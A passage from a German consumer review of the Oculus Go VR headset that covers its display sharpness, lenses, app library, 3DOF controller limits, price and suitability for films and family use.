    Die öffentliche Meinung über VR leidet stark unter gruseligen Beschreibungen des Screendooreffektes, also der sichtbaren Pixelgitter. Hier hat Oculus Hand angelegt und erstaunliches geleistet: Das LCD der Go bietet in Verbindung mit den überarbeiteten Fresnel-Linsen eine Bildqualität beinahe auf Niveau der deutlich teuren HTC Vive Pro. Das gilt natürlich nur für das Display selbst, grafisch beeindruckende und dazu noch hochauflösende Spielwelten kann die Mobilhardware nicht erzeugen. Wer mit der Oculus Go aber Filme via Bigscreen, Skybox VR, Plex oder Netflix schauen möchte, bekommt ein für VR-Verhältnisse extrem scharfes Bild geliefert. Einzelne Pixelraster sind zwar vor allem bei einfarbigen und hellen Flächen noch sichtbar, bei bewegten Bildern muss ich mich aber schon darauf konzentrieren um den Effekt störend wahrzunehmen. Bei Spielen wie Drop Dead beispielsweise sind Schriften auf dem HUD des Spielers für VR-Verhältnisse ungewohnt scharf dargestellt. Und auch im Browser ist es möglich Texte ohne Probleme und in guter Bildschärfe zu lesen. Das geht mit Oculus Rift, HTC Vive und auch mit GearVR bei weitem nicht so gut.

    Sauber aufgelöst: Das Display der Oculus Go bietet ein tolles Bild.

    Verantwortlich ist das LCD selbst: Während die meisten VR-Displays eine sogenannte Pentile-Displaymatrix mit nur zwei farbigen Subpixeln pro Bildpunkt einsetzen, kommt in der Go (wie bei PSVR) eine RGB-Matrix mit drei Subpixeln zum Einsatz. Ein zusätzliches Drittel mehr Subpixel verringert den Fliegengittereffekt bei ansonsten gleicher Auflösung tatsächlich extrem.

    Die Einstellung des Pupillenabstandes, die einige VR-Brillen bieten, fehlt der Go allerdings. Im Gegenzug ist der Sweetspot der überarbeiteten Linsen sehr groß ausgefallen, so dass die meisten Nutzer keine Probleme haben dürften. Auch Brillenträger können die Go nutzen: Unter dem (atmungsaktiven und waschbaren) Polster ist viel Platz für eine Sehhilfe. Für besonders ausladende Modelle liegt noch ein Abstandhalter bei. Oculus kündigte sogar an, Linsen mit unterschiedlichen Dioptrinwerten in Zukunft einzeln anzubieten.

    Große Auswahl an Apps

    Vor allem für Filme und soziale Anwendungen eignet sich die Go – Bigscreen kombiniert beides.

    Da die Oculus Go sich technisch nicht sehr stark von GearVR unterscheidet, sind so gut wie alle bereits für Samsungs VR-Halterung erschienenen Anwendungen kompatibel. Genutzt wird der Oculus-Store für GearVR. Nicht kompatible Apps werden gar nicht erst angezeigt, was Fehlkäufe verhindert. Spiele für die Oculus Rift hingegen funktionieren nicht, dafür wird weiterhin ein ausreichend starker PC mit einer Oculus Rift benötigt. Schade: Bereits für die Rift gekaufte Spiele, die auch eine Go-Umsetzung bekommen haben, müssen erneut erworben werden. Catan VR beispielsweise bietet zwar Crossplay mit Rift-Nutzern, benötigt aber eine eigene Nutzungslizenz auf der Go.

    Spiele wie Ultrawings konnte ich daher sowohl mit meiner GearVR (in Verbindung mit einem Samsung Galaxy S7) als auch mit der Oculus Go testen und der Unterschied in der Bildqualität durch das RGB-Display ist sehr gut sichtbar. Auch dass die Go weniger Rechenleistung hat als das Galaxy S7 fällt nicht negativ auf: Oculus nutzt ein fest implementiertes Fixed Foveated Rendering. Bedeutet: Es wird nur die Bildmitte mit maximaler Auflösung berechnet, je weiter es zum Rand geht, desto geringer wird die Auflösung. Das spart laut Oculus bis zu 30% Rechenleistung und funktioniert im Alltag erstaunlich gut. Oculus macht sich hier zwei Faktoren zunutze: Einerseits nimmt das menschliche Auge Inhalte tatsächlich nur in der Bildmitte wirklich scharf wahr, andererseits verlieren LCDs in VR-Brillen zu den Rändern hin eh an Bildschärfe. Sichtbar war der Effekt für mich nur, wenn ich bewusst mit den Pupillen an den Rand des Bildes schiele – nichts, was mir beim Spielen oder Filmschauen mit der Go im Alltag tatsächlich passiert.

    Der Controller der Oculus Go unterstützt nur drei Freiheitsgrade (3DOF).

    Eingeschränkte Steuerung

    Wohl um Kosten zu sparen aber auch um zu den Apps der GearVR kompatibel zu bleiben hat sich Oculus gegen eine freie Bewegung im virtuellen Raum entschieden. Sowohl die VR-Brille als auch der beiliegende Controller beherrschen nur drei Freiheitsgrade (3DOF). So kann ich mit der Oculus Go zwar nach links, rechts, oben und unten schauen, über einen virtuellen Tisch beugen kann ich mich jedoch nicht. Gleiches gilt für den Controller: Einen Hebel in der VR umlegen geht nicht wie von Rift und Vive gewohnt sondern nur indem der Controller als „Zeigestock“ genutzt wird. Für immersive Spiele ist die Oculus Go daher nur bedingt geeignet, hier kommt es darauf an, wie die Entwickler die Steuerung um- und einsetzen.

    Besonders gut funktioniert es in Strategiespielen. Ich vermisse es zwar, mir Details durch Vorbeugen anschauen zu können, Einheiten lassen sich mit dem virtuellen Zeigestock aber gut verschieben. Drop Dead zeigt, dass auch Shooter Spaß bringen können, auch wenn es sich anfühlt als wären die Waffen an meiner Hüfte festgewachsen. So muss sich ein mit Schusswaffen ausgestatteter Tyrannosaurus Rex fühlen. Oder Bernd das Brot..

    Für Filme und Social-Apps (Oculus Rooms, vTime, Bigscreen und andere, hier ist die Go-Plattform sehr gut aufgestellt) hingegen reicht die 3DOF-Steuerung vollkommen. Bei den beliebten 360-Grad-Filmen mit eher schmuddeligem Image wird ja eh der körpereigene Controller genutzt 😉 .

    Oculus Go könnte VR in den Mainstream bringen

    Die neuen Oculus Rooms sind unter anderem Treffpunkte für Facebookfreunde.

    Oculus hat sich bei der Go auf den Massenmarkt konzentriert: Die VR-Brille setzt mit ihrer Bildqualität neue Maßstäbe und ist dabei so einfach zu bedienen, dass auch Senioren sie nutzen können. Gleichzeitig ist der Preis mit 219/259 Euro angenehm niedrig – angesichts der gebotenen Leistung sogar extrem niedrig. Ich würde zwar gleich den Kauf des Modells mit 64 Gigabyte raten (viele Anwendungen laden noch großzügig Inhalte nach und offline gespeicherte Filme fressen ebenfalls kräftig Speicher), im Vergleich zur Lenovo Mirage Solo (399$) ist aber auch diese Investition eher gering. Zumal die Go sich mit ihrem Preispunkt auch gut als Geschenk für technisch aufgeschlossene Menschen funktioniert.

    Die Einrichtung und Nutzung ist intuitiv und im wahrsten Sinne kinderleicht. Meine 7jährige Tochter jedenfalls kommt mit der Go sehr gut zurecht und freut sich über Apps von Disney und Kinderfilme von Netflix in der VR. Der Teenie-Sohn hingegen mag die Go ebenfalls, allerdings bevorzugt er Spiele – und Netflix. Generell ist Netflix eine der Killerapps für VR, schade, dass es keine Version für stationäre VR-Brillen gibt. Mir selbst gefällt es nämlich ebenfalls im Zug, Fernbus oder Bett einen Film auf einer wirklich großen Leinwand sehen zu können. Dank des Kopfgurtes sogar ohne Druckstellen am Hinterkopf. Aber auch für soziale Erlebnisse ist die Go gut geeignet, mir gefallen vor allem die Möglichkeiten der Oculus Rooms. Hier kann ich Filme, auch in 3D oder 360-Grad, anschauen während ich mit Freunden Gesellschaftsspiele spiele oder mich einfach nur unterhalte. Ein wenig mehr Flexibilität bei den nutzbaren Quellen wäre nett, Oculus setzt hier sehr (zu..) stark auf die Facebook-Infrastruktur. Abhilfe schaffen Apps wie das kostenlose vTime oder auch Bigscreen. Mein Wunsch ginge allerdings an die Entwickler von RecRoom: Auch wenn eine Umsetzung mit 3DOF und nur einem Controller unter Garantie sehr knifflig ist, RecRoom wäre meine Killerapp für die Go.

    Wenn ich denn eine brauchen würde, nur selten hat mich der Abschied von einem Testmuster so wehmütig gemacht. Wenn wir bei der VR-Legion einen Hardwareaward hätten, ich würde ihn vergeben. Stellt euch also einfach einen goldenen Legionär als Auszeichnung vor.

    Tipp: Aktuell ist die Oculus Go in Deutschland nur direkt im Onlinestore von Oculus erhältlich. Überteuerte Angebote von Amazon-Marktplatzhändlern solltet ihr daher ignorieren. Noch im Sommer will Oculus die VR-Brille auch bei Amazon, MediaMarkt und co anbieten.

     

    Der Beitrag Oculus Go im Test – Günstiger VR-Einstieg und für 360-Grad-Filme (und Pornos, ja auch Pornos) erschien zuerst auf VR-Legion.

    ]]>
    https://vr-legion.de/tests/oculus-go-im-test-guenstiger-vr-einstieg/feed/ 47